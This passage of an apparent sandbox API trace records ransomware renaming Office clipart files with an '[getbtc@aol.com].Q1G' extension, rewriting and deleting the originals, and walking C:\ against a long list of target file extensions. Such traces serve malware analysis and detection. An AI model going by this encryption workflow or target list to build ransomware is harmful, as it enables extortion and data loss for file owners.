-1 [0057.183] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.183] lstrlenW (lpString="AN04384_.WMF") returned 12 [0057.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.183] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=4996) returned 1 [0057.183] CloseHandle (hObject=0x168) returned 1 [0057.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0057.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.183] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.184] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0057.184] GetLastError () returned 0x0 [0057.184] ReadFile (in: hFile=0x168, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x1384, lpOverlapped=0x0) returned 1 [0057.185] WriteFile (in: hFile=0x22c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1390, lpOverlapped=0x0) returned 1 [0057.186] ReadFile (in: hFile=0x168, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0057.186] WriteFile (in: hFile=0x22c, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.186] SetEndOfFile (hFile=0x22c) returned 1 [0057.186] CloseHandle (hObject=0x22c) returned 1 [0057.186] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0057.187] SetEndOfFile (hFile=0x168) returned 1 [0057.187] CloseHandle (hObject=0x168) returned 1 [0057.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0057.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.188] lstrlenW (lpString=".doc") returned 4 [0057.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.188] lstrlenW (lpString=".docx") returned 5 [0057.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.188] lstrlenW (lpString=".pdf") returned 4 [0057.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.188] lstrlenW (lpString=".xls") returned 4 [0057.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.188] lstrlenW (lpString=".xlsx") returned 5 [0057.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.188] lstrlenW (lpString=".ppt") returned 4 [0057.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.188] lstrlenW (lpString=".zip") returned 4 [0057.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.188] lstrlenW (lpString=".rar") returned 4 [0057.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.188] lstrlenW (lpString=".bz2") returned 4 [0057.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.188] lstrlenW (lpString=".7z") returned 3 [0057.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.188] lstrlenW (lpString=".dbf") returned 4 [0057.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.352] lstrlenW (lpString=".1cd") returned 4 [0057.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.352] lstrlenW (lpString=".jpg") returned 4 [0057.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.352] lstrlenW (lpString=".doc") returned 4 [0057.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0057.352] lstrlenW (lpString=".docx") returned 5 [0057.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0057.352] lstrlenW (lpString=".pdf") returned 4 [0057.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0057.352] lstrlenW (lpString=".xls") returned 4 [0057.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0057.352] lstrlenW (lpString=".xlsx") returned 5 [0057.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0057.352] lstrlenW (lpString=".ppt") returned 4 [0057.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0057.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.352] lstrlenW (lpString=".zip") returned 4 [0057.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0057.353] lstrlenW (lpString=".rar") returned 4 [0057.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.353] lstrlenW (lpString=".bz2") returned 4 [0057.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.353] lstrlenW (lpString=".7z") returned 3 [0057.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.353] lstrlenW (lpString=".dbf") returned 4 [0057.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.353] lstrlenW (lpString=".1cd") returned 4 [0057.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0057.353] lstrlenW (lpString=".jpg") returned 4 [0057.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.353] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.353] lstrlenW (lpString="BD00141_.WMF") returned 12 [0057.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 13 os_tid = 0x9c0 [0034.391] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3740260 [0034.392] lstrlenW (lpString="C:") returned 2 [0034.392] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2effd00 | out: lpFindFileData=0x2effd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x59e208 [0034.392] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0034.392] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0034.392] lstrlenW (lpString="$Recycle.Bin") returned 12 [0034.392] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0034.392] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3750268 [0034.393] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0034.393] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3760270 [0034.393] FindNextFileW (in: hFindFile=0x3760270, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.393] FindNextFileW (in: hFindFile=0x3760270, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0034.393] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0034.393] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0034.393] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0034.393] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0034.393] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x37612b8 [0034.394] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0034.394] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37712c0 [0034.394] FindNextFileW (in: hFindFile=0x37712c0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.394] FindNextFileW (in: hFindFile=0x37712c0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0034.394] lstrlenW (lpString="desktop.ini") returned 11 [0034.394] lstrlenW (lpString=".1cd") returned 4 [0034.394] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0034.394] lstrlenW (lpString=".3ds") returned 4 [0034.394] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0034.394] lstrlenW (lpString=".3fr") returned 4 [0034.394] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0034.394] lstrlenW (lpString=".3g2") returned 4 [0034.394] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0034.394] lstrlenW (lpString=".3gp") returned 4 [0034.394] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0034.394] lstrlenW (lpString=".7z") returned 3 [0034.394] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0034.394] lstrlenW (lpString=".accda") returned 6 [0034.394] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0034.395] lstrlenW (lpString=".accdb") returned 6 [0034.395] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0034.395] lstrlenW (lpString=".accdc") returned 6 [0034.395] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0034.395] lstrlenW (lpString=".accde") returned 6 [0034.395] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0034.395] lstrlenW (lpString=".accdt") returned 6 [0034.395] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0034.395] lstrlenW (lpString=".accdw") returned 6 [0034.395] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0034.395] lstrlenW (lpString=".adb") returned 4 [0034.395] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0034.395] lstrlenW (lpString=".adp") returned 4 [0034.395] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0034.395] lstrlenW (lpString=".ai") returned 3 [0034.395] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0034.395] lstrlenW (lpString=".ai3") returned 4 [0034.395] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0034.395] lstrlenW (lpString=".ai4") returned 4 [0034.395] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0034.395] lstrlenW (lpString=".ai5") returned 4 [0034.395] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0034.395] lstrlenW (lpString=".ai6") returned 4 [0034.395] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0034.395] lstrlenW (lpString=".ai7") returned 4 [0034.395] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0034.395] lstrlenW (lpString=".ai8") returned 4 [0034.395] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0034.395] lstrlenW (lpString=".anim") returned 5 [0034.395] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0034.395] lstrlenW (lpString=".arw") returned 4 [0034.395] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0034.395] lstrlenW (lpString=".as") returned 3 [0034.395] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0034.396] lstrlenW (lpString=".asa") returned 4 [0034.396] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".asc") returned 4 [0034.396] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".ascx") returned 5 [0034.396] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0034.396] lstrlenW (lpString=".asm") returned 4 [0034.396] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".asmx") returned 5 [0034.396] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0034.396] lstrlenW (lpString=".asp") returned 4 [0034.396] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".aspx") returned 5 [0034.396] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0034.396] lstrlenW (lpString=".asr") returned 4 [0034.396] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".asx") returned 4 [0034.396] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".avi") returned 4 [0034.396] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".avs") returned 4 [0034.396] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".backup") returned 7 [0034.396] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0034.396] lstrlenW (lpString=".bak") returned 4 [0034.396] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".bay") returned 4 [0034.396] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".bd") returned 3 [0034.396] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0034.396] lstrlenW (lpString=".bin") returned 4 [0034.396] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0034.396] lstrlenW (lpString=".bmp") returned 4 [0034.396] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".bz2") returned 4 [0034.397] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".c") returned 2 [0034.397] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0034.397] lstrlenW (lpString=".cdr") returned 4 [0034.397] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".cer") returned 4 [0034.397] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".cf") returned 3 [0034.397] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0034.397] lstrlenW (lpString=".cfc") returned 4 [0034.397] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".cfm") returned 4 [0034.397] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".cfml") returned 5 [0034.397] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0034.397] lstrlenW (lpString=".cfu") returned 4 [0034.397] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".chm") returned 4 [0034.397] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".cin") returned 4 [0034.397] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".class") returned 6 [0034.397] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0034.397] lstrlenW (lpString=".clx") returned 4 [0034.397] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0034.397] lstrlenW (lpString=".config") returned 7 [0034.398] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0034.398] lstrlenW (lpString=".cpp") returned 4 [0034.398] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".cr2") returned 4 [0034.398] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".crt") returned 4 [0034.398] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".crw") returned 4 [0034.398] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".cs") returned 3 [0034.398] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0034.398] lstrlenW (lpString=".css") returned 4 [0034.398] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".csv") returned 4 [0034.398] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".cub") returned 4 [0034.398] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".dae") returned 4 [0034.398] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".dat") returned 4 [0034.398] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".db") returned 3 [0034.398] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0034.398] lstrlenW (lpString=".dbf") returned 4 [0034.398] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".dbx") returned 4 [0034.398] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".dc3") returned 4 [0034.398] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0034.398] lstrlenW (lpString=".dcm") returned 4 [0034.399] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0034.399] lstrlenW (lpString=".dcr") returned 4 [0034.399] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0034.399] lstrlenW (lpString=".der") returned 4 [0034.399] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0034.399] lstrlenW (lpString=".dib") returned 4 [0034.399] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0034.399] lstrlenW (lpString=".dic") returned 4 [0034.399] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0034.399] lstrlenW (lpString=".dif") returned 4 [0034.399] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0034.399] lstrlenW (lpString=".divx") returned 5 [0034.399] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0034.399] lstrlenW (lpString=".djvu") returned 5 [0034.399] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0034.399] lstrlenW (lpString=".dng") returned 4 [0034.399] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0034.399] lstrlenW (lpString=".doc") returned 4 [0034.399] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0034.399] lstrlenW (lpString=".docm") returned 5 [0034.399] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0034.399] lstrlenW (lpString=".docx") returned 5 [0034.399] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0034.399] lstrlenW (lpString=".dot") returned 4 [0034.399] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0034.399] lstrlenW (lpString=".dotm") returned 5 [0034.399] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0034.399] lstrlenW (lpString=".dotx") returned 5 [0034.400] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0034.400] lstrlenW (lpString=".dpx") returned 4 [0034.400] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".dqy") returned 4 [0034.400] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".dsn") returned 4 [0034.400] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".dt") returned 3 [0034.400] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0034.400] lstrlenW (lpString=".dtd") returned 4 [0034.400] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".dwg") returned 4 [0034.400] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".dwt") returned 4 [0034.400] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".dx") returned 3 [0034.400] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0034.400] lstrlenW (lpString=".dxf") returned 4 [0034.400] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".edml") returned 5 [0034.400] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0034.400] lstrlenW (lpString=".efd") returned 4 [0034.400] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".elf") returned 4 [0034.400] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".emf") returned 4 [0034.400] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0034.400] lstrlenW (lpString=".emz") returned 4 [0034.401] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".epf") returned 4 [0034.401] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".eps") returned 4 [0034.401] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".epsf") returned 5 [0034.401] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0034.401] lstrlenW (lpString=".epsp") returned 5 [0034.401] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0034.401] lstrlenW (lpString=".erf") returned 4 [0034.401] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".exr") returned 4 [0034.401] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".f4v") returned 4 [0034.401] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".fido") 